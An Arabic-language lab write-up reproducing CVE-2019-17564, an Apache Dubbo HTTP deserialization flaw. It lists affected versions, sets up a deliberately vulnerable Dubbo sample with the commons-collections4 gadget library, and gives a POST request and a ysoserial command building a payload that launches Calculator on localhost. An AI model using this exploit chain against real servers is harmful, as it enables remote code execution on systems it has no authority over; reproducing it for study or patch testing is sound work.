
CVE-2019-17564:ثغرة إلغاء التسلسل في Apache Dubbo
Apache Dubbo هو إطار عمل RPC عالي الأداء وخفيف الوزن ومفتوح المصدر بلغة جافا، يوفر ثلاث قدرات أساسية: استدعاء الطرق عن بُعد الموجهة للواجهة، والتسامح الذكي مع الأخطاء وتوازن الحمل، والتسجيل والاكتشاف التلقائي للخدمات.
يدعم Apache Dubbo بروتوكولات متعددة، ويوصى رسميًا باستخدام بروتوكول Dubbo. ثغرة إلغاء تسلسل في بروتوكول HTTP الخاص بـ Apache Dubbo (CVE-2019-17564)، يعود السبب الرئيسي لهذه الثغرة إلى أنه عند تمكين بروتوكول HTTP في Apache Dubbo، فإن معالجة غير مناسبة لجسم الرسالة تؤدي إلى إلغاء تسلسل غير آمن، مما قد يؤدي إلى تنفيذ تعليمات برمجية عن بُعد في حال وجود أدوات قطع قابلة للاستخدام في حزمة المشروع.
2.7.0 <= Apache Dubbo <= 2.7.4.1 2.6.0 <= Apache Dubbo <= 2.6.7 Apache Dubbo = 2.5.x
wget https://archive.apache.org/dist/zookeeper/zookeeper-3.4.10/zookeeper-3.4.10.tar.gz
# قم بإعادة تسمية zoo_sample.cfg في دليل conf إلى zoo.cfg
mv zoo_sample.cfg zoo.cfg
# انتقل إلى دليل bin وقم بتشغيل zookeeper
./zkServer.sh start

git clone https://github.com/apache/dubbo-samples
# انتقل إلى دليل dubbo-samples-http وقم بتعديل pom.xml
vim pom.xml
قم بتعديل إصدار dubbo إلى إصدار به ثغرة
أضف تبعية، واستورد أداة قطع قابلة للتفعيل، هنا نستورد commons-collections4-4.0
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

mvn clean package
mvn -Djava.net.preferIPv4Stack=true -Dexec.mainClass=org.apache.dubbo.samples.http.HttpProvider exec:java

الحمولة
POST /org.apache.dubbo.samples.http.api.DemoService HTTP/1.1
Host: 127.0.0.1:8080
paylaod
هنا نستخدم ysoserial لإنشاء الحمولة
java -jar ysoserial-master-55f1e7c35c-1.jar CommonsCollections4 /System/Applications/Calculator.app/Contents/MacOS/Calculator > 1.ser
إرسال الحزمة عبر bp
